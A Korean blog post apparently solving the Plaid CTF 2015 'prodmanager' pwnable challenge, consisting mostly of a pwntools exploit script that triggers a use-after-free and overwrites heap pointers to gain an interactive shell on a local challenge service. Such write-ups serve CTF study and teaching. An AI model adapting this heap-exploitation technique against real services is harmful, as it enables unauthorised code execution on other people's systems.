Notice
Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

Plaid CTF 2015 prodmanager 본문

Security/Pwnable

Plaid CTF 2015 prodmanager

Cdor1 2017. 1. 11. 03:15

후기 : 이전에 푼 문제보다 난이도가 훨~씬 쉽지만 생각보다 필요한 문제를 발견한것 같다.

나중에 pwnable을 처음 공부하는 친구한테 use after free에 대해서 설명해줄 때 이 문제를 꼭 보여줘야지


from pwn import *
s = remote('localhost', 4000)

def create(name,price):
	print s.recvuntil('Input:')
	s.sendline('1')
	print s.recvuntil('name:')
	s.sendline(name)
	print s.recvuntil('price:')
	s.sendline(str(price))

def remove(name):
	print s.recvuntil('Input:')
	s.sendline('2') 
	print s.recvuntil('remove:')
	s.sendline(name)

def add(name):
	print s.recvuntil('Input:')
	s.sendline('3')
	print s.recvuntil('add:')
	s.sendline(name)

def profile(data):
	print s.recvuntil('Input:')
	s.sendline('5')
	print s.recvuntil('profile!')
	s.sendline(data)

create('AAAA', 100)
create('BBBB', 100)
create('CCCC', 100)

add('AAAA')
add('BBBB')
add('CCCC')

remove('BBBB')

payload = p32(0) * 4
payload += p32(0x804C3E0 - 24) * 2
profile(payload)

s.interactive()

'Security > Pwnable' 카테고리의 다른 글

BoB CTF casino  (0) 2017.01.12
SECCON CTF 2016 checker  (0) 2017.01.11
H3X0R CTF train to busan  (0) 2017.01.11
HITCON Qual 2016 House of orange  (0) 2017.01.10
RCTF 2015 shaxian  (0) 2017.01.10
Comments